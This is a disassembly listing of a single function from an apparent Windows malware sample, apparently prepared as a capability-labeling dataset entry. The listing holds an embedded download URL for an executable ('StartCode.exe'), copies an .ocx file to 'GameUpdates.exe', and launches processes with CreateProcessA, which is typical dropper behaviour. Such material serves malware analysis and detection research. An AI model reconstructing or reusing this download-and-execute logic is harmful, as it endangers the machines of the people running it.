Function at 0x401110
Capabilities:
Create process on windows
Get number of processors

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42aac9
mov eax, dword fs:[0]
push eax
sub esp, 0x428
mov eax, dword [0x437c84]
xor eax, esp
mov dword [esp + 0x420], eax
push ebx
push esi
push edi
mov eax, dword [0x437c84]
xor eax, esp
push eax
lea eax, [esp + 0x438]
mov dword fs:[0], eax
lea eax, [esp + 0x2c]
push eax
mov ebx, ecx
mov dword [esp + 0x30], 8
mov dword [esp + 0x34], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, ebx
call fcn.00405989
mov eax, ebx
call fcn.00401ad0
test eax, eax
jne 0x401190
push eax
push eax
push 0x430308
call fcn.00406363
jmp 0x401775
call fcn.00406d5a
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x60]
lea edi, [ebx + 0x158]
mov dword [esp + 0x18], edi
test edx, edx
jne 0x4011ad
xor eax, eax
jmp 0x4011bb
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4011b2
sub eax, esi
push eax
push edx
mov ecx, edi
call fcn.004032c0
call fcn.00401820
test eax, eax
je 0x40173d
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push 0x43067f
call fcn.00403020
call fcn.00401f40
add esp, 4
call fcn.0040515a
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x401204
push 0x80004005
call fcn.00403400
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
push 1
push ecx
mov dword [esp + 0x448], 0
lea esi, [ebx + 0xa4]
mov ecx, esp
mov dword [esp + 0x18], esp
push esi
call fcn.00403020
lea ecx, [esp + 0x18]
push ecx
call fcn.00401bc0
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x444], 1
call fcn.00403350
mov byte [esp + 0x440], 0
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x401278
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x38
lea ecx, [esp + 0x260]
push 0
mov edi, 0x2f2f2e
push ecx
mov dword [esp + 0x264], edi
call fcn.00417760
mov edx, dword [esp + 0x20]
push edx
lea eax, [esp + 0x268]
push 0x3c
push eax
call fcn.004163d3
push str..ocx
lea ecx, [esp + 0x274]
push 0x3c
push ecx
call fcn.004163d3
lea edx, [esp + 0x27c]
push 0
push edx
call fcn.004159c9
add esp, 0x2c
cmp eax, 0xffffffff
jne 0x4013e0
push 0x38
lea eax, [esp + 0x29c]
push 0
push eax
mov dword [esp + 0x2a0], edi
call fcn.00417760
push esi
lea ecx, [esp + 0x2a4]
push 0x3c
push ecx
call fcn.004163d3
push 0x3b
lea edx, [esp + 0x2ed]
push 0
push edx
mov byte [esp + 0x2f4], 0
call fcn.00417760
lea eax, [esp + 0x2b8]
push eax
lea ecx, [esp + 0x2f8]
push 0x3c
push ecx
call fcn.004163d3
push str..exe
lea edx, [esp + 0x304]
push 0x3c
push edx
call fcn.004163d3
mov esi, dword [esp + 0x50]
push 0
push esi
call fcn.004159c9
add esp, 0x44
cmp eax, 0xffffffff
je 0x401368
lea eax, [esp + 0x258]
push eax
push esi
call fcn.00406e13
jmp 0x4013e4
lea ecx, [esp + 0x294]
push 0
push ecx
call fcn.004159c9
add esp, 8
cmp eax, 0xffffffff
je 0x401396
lea edx, [esp + 0x258]
push edx
lea eax, [esp + 0x298]
push eax
call fcn.00406e13
jmp 0x4013e4
lea ecx, [esp + 0x2d0]
push 0
push ecx
call fcn.004159c9
add esp, 8
cmp eax, 0xffffffff
je 0x4013c4
lea edx, [esp + 0x258]
push edx
lea eax, [esp + 0x2d4]
push eax
call fcn.00406e13
jmp 0x4013e4
push 0
push 0
push 0x43033c
call fcn.00406363
lea ecx, [esp + 0x14]
call fcn.004034c0
jmp 0x401775
mov esi, dword [esp + 0x14]
push 0x44
lea ecx, [esp + 0x38]
push 0
push ecx
call fcn.00417760
xor eax, eax
push 0x63
push eax
lea edx, [esp + 0x3d9]
push edx
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov byte [esp + 0x3dc], al
call fcn.00417760
lea eax, [esp + 0x270]
push eax
lea ecx, [esp + 0x3e0]
push 0x64
push ecx
call fcn.004163d3
push 0x430358
lea edx, [esp + 0x3ec]
push 0x64
push edx
call fcn.004163d3
add ebx, 0x108
push ebx
lea eax, [esp + 0x3f8]
push 0x64
push eax
call fcn.004163d3
add esp, 0x3c
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x38]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x3e4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4014cd
push eax
push eax
push 0x43035c
call fcn.00406363
mov dword [esp + 0x440], 0xffffffff
lea eax, [esi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401775
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x401775
mov ecx, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x20]
push edx
call esi
call fcn.0040515a
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4014fb
push 0x80004005
call fcn.00403400
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x10], eax
push 0x4c
lea ecx, [esp + 0x37c]
mov bl, 2
push 0
mov byte [esp + 0x448], bl
push ecx
mov dword [esp + 0x380], edi
call fcn.00417760
mov edx, dword [esp + 0x24]
mov eax, dword [edx]
push eax
lea eax, [esp + 0x384]
push 0x50
push eax
call fcn.004163d3
push str..exe
lea ecx, [esp + 0x390]
push 0x50
push ecx
call fcn.004163d3
mov eax, dword [0x43037c]
mov ecx, dword [0x430380]
mov edx, dword [0x430378]
push 0x52
mov dword [esp + 0x33c], ecx
mov dword [esp + 0x334], edx
mov edx, dword [0x430384]
mov dword [esp + 0x338], eax
mov ax, word [0x430388]
lea ecx, [esp + 0x346]
push 0
push ecx
mov dword [esp + 0x348], edx
mov word [esp + 0x34c], ax
call fcn.00417760
lea edx, [esp + 0x3a4]
push edx
lea eax, [esp + 0x340]
push 0x64
push eax
call fcn.004163d3
push str._http:__www.jianfei567.com_StartCode.exe
lea ecx, [esp + 0x34c]
push 0x64
push ecx
call fcn.004163d3
add esp, 0x48
lea edx, [esp + 0x18]
push edx
call fcn.00401d00
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x444], 3
call fcn.00403350
mov byte [esp + 0x440], bl
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401619
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x10]
push 0x4303b8
push edi
call fcn.004163bc
add esp, 8
test eax, eax
setne al
test al, al
je 0x4016ee
lea ecx, [esp + 0x10]
push ecx
mov eax, 0x43ba7c
call fcn.00402960
add esp, 4
test al, al
je 0x4016ee
push 0
push str..__Stroaviot.ocx
call fcn.00415940
add esp, 8
test eax, eax
je 0x40168b
push 0
push str..__GameUpdates.exe
call fcn.00415940
add esp, 8
test eax, eax
jne 0x401729
push str..__Stroaviot.ocx
push str..__GameUpdates.exe
call fcn.00406e13
push 0x44
lea edx, [esp + 0x38]
push 0
push edx
call fcn.00417760
add esp, 0xc
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x38]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x32c]
push edx
push 0
mov dword [esp + 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4016ee
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x20]
push ecx
call esi
lea eax, [edi - 0x10]
mov byte [esp + 0x440], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x401712
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x440], 0xffffffff
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
jmp 0x4014ab
lea ecx, [esp + 0x10]
call fcn.004034c0
lea ecx, [esp + 0x14]
call fcn.004034c0
jmp 0x401775
lea ecx, [esp + 0x7c]
push ecx
call fcn.00403500
lea edx, [esp + 0x7c]
mov dword [esp + 0x440], 4
mov ecx, edx
mov dword [ebx + 0x20], edx
call fcn.00407ffd
lea eax, [esp + 0x7c]
push eax
mov dword [esp + 0x444], 0xffffffff
call fcn.004017a0
xor eax, eax
mov ecx, dword [esp + 0x438]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x420]
xor ecx, esp
call fcn.00415719
mov esp, ebp
pop ebp
ret